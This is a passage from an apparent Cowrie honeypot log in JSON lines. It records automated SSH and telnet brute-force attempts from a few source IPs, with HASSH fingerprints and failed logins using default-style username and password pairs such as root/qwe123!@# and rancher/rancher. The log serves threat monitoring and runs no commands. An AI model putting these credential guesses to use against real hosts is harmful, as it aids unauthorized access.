{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:52.912776Z","src_ip":"91.92.42.133","session":"94dd7b1e4f61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:52.915420Z","src_ip":"91.92.42.133","session":"94dd7b1e4f61","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:52.926239Z","src_ip":"91.92.40.171","session":"54c139ae9883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:52.991959Z","src_ip":"91.92.40.171","session":"54c139ae9883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:53.451012Z","src_ip":"91.92.40.171","session":"54c139ae9883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:53.770191Z","src_ip":"91.92.42.133","session":"94dd7b1e4f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:54.780759Z","src_ip":"91.92.40.171","session":"54c139ae9883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:54.979288Z","src_ip":"91.92.42.133","session":"94dd7b1e4f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53540,"dst_ip":"159.203.135.109","dst_port":22,"session":"248cb9aed820","protocol":"ssh","message":"New connection: 91.92.42.133:53540 (159.203.135.109:22) [session: 248cb9aed820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:59.969500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:00.318503Z","src_ip":"91.92.42.133","session":"248cb9aed820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:00.322030Z","src_ip":"91.92.42.133","session":"248cb9aed820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38506,"dst_ip":"159.203.135.109","dst_port":22,"session":"a60de2c15044","protocol":"ssh","message":"New connection: 91.92.40.171:38506 (159.203.135.109:22) [session: a60de2c15044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:00.495452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:00.547037Z","src_ip":"91.92.40.171","session":"a60de2c15044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:01.713393Z","src_ip":"91.92.40.171","session":"a60de2c15044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"raspberry","message":"login attempt [teamspeak/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:02.037340Z","src_ip":"91.92.42.133","session":"248cb9aed820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:03.861171Z","src_ip":"91.92.42.133","session":"248cb9aed820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43572,"dst_ip":"159.203.135.109","dst_port":22,"session":"b31dc852cc10","protocol":"ssh","message":"New connection: 91.92.40.171:43572 (159.203.135.109:22) [session: b31dc852cc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:04.801108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:04.899736Z","src_ip":"91.92.40.171","session":"b31dc852cc10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:04.995848Z","src_ip":"91.92.40.171","session":"b31dc852cc10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.112.3","src_port":46456,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6d807961cc3","protocol":"telnet","message":"New connection: 23.94.112.3:46456 (10.17.0.5:23) [session: d6d807961cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:05.339738Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:05.446060Z","src_ip":"91.92.40.171","session":"b31dc852cc10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:06.247314Z","src_ip":"91.92.40.171","session":"a60de2c15044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:06.546879Z","src_ip":"91.92.40.171","session":"b31dc852cc10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48154,"dst_ip":"159.203.135.109","dst_port":22,"session":"2066b6fc8f36","protocol":"ssh","message":"New connection: 91.92.42.133:48154 (159.203.135.109:22) [session: 2066b6fc8f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:07.738053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:08.175627Z","src_ip":"91.92.42.133","session":"2066b6fc8f36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:08.179294Z","src_ip":"91.92.42.133","session":"2066b6fc8f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:08.210759Z","src_ip":"91.92.40.171","session":"a60de2c15044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:09.859870Z","src_ip":"91.92.42.133","session":"2066b6fc8f36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43674,"dst_ip":"159.203.135.109","dst_port":22,"session":"312fde5c27e7","protocol":"ssh","message":"New connection: 91.92.40.171:43674 (159.203.135.109:22) [session: 312fde5c27e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:10.950489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:11.010654Z","src_ip":"91.92.40.171","session":"312fde5c27e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:11.091958Z","src_ip":"91.92.40.171","session":"312fde5c27e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:11.167156Z","src_ip":"91.92.42.133","session":"2066b6fc8f36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:11.494750Z","src_ip":"91.92.40.171","session":"312fde5c27e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:12.603047Z","src_ip":"91.92.40.171","session":"312fde5c27e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42902,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c0efe8b497","protocol":"ssh","message":"New connection: 91.92.42.133:42902 (159.203.135.109:22) [session: f9c0efe8b497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:15.311342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:15.854143Z","src_ip":"91.92.42.133","session":"f9c0efe8b497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:15.857506Z","src_ip":"91.92.42.133","session":"f9c0efe8b497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37858,"dst_ip":"159.203.135.109","dst_port":22,"session":"abaf84918255","protocol":"ssh","message":"New connection: 91.92.40.171:37858 (159.203.135.109:22) [session: abaf84918255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:16.596597Z"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:16.742827Z","src_ip":"91.92.42.133","session":"f9c0efe8b497","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:16.890031Z","src_ip":"91.92.40.171","session":"abaf84918255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 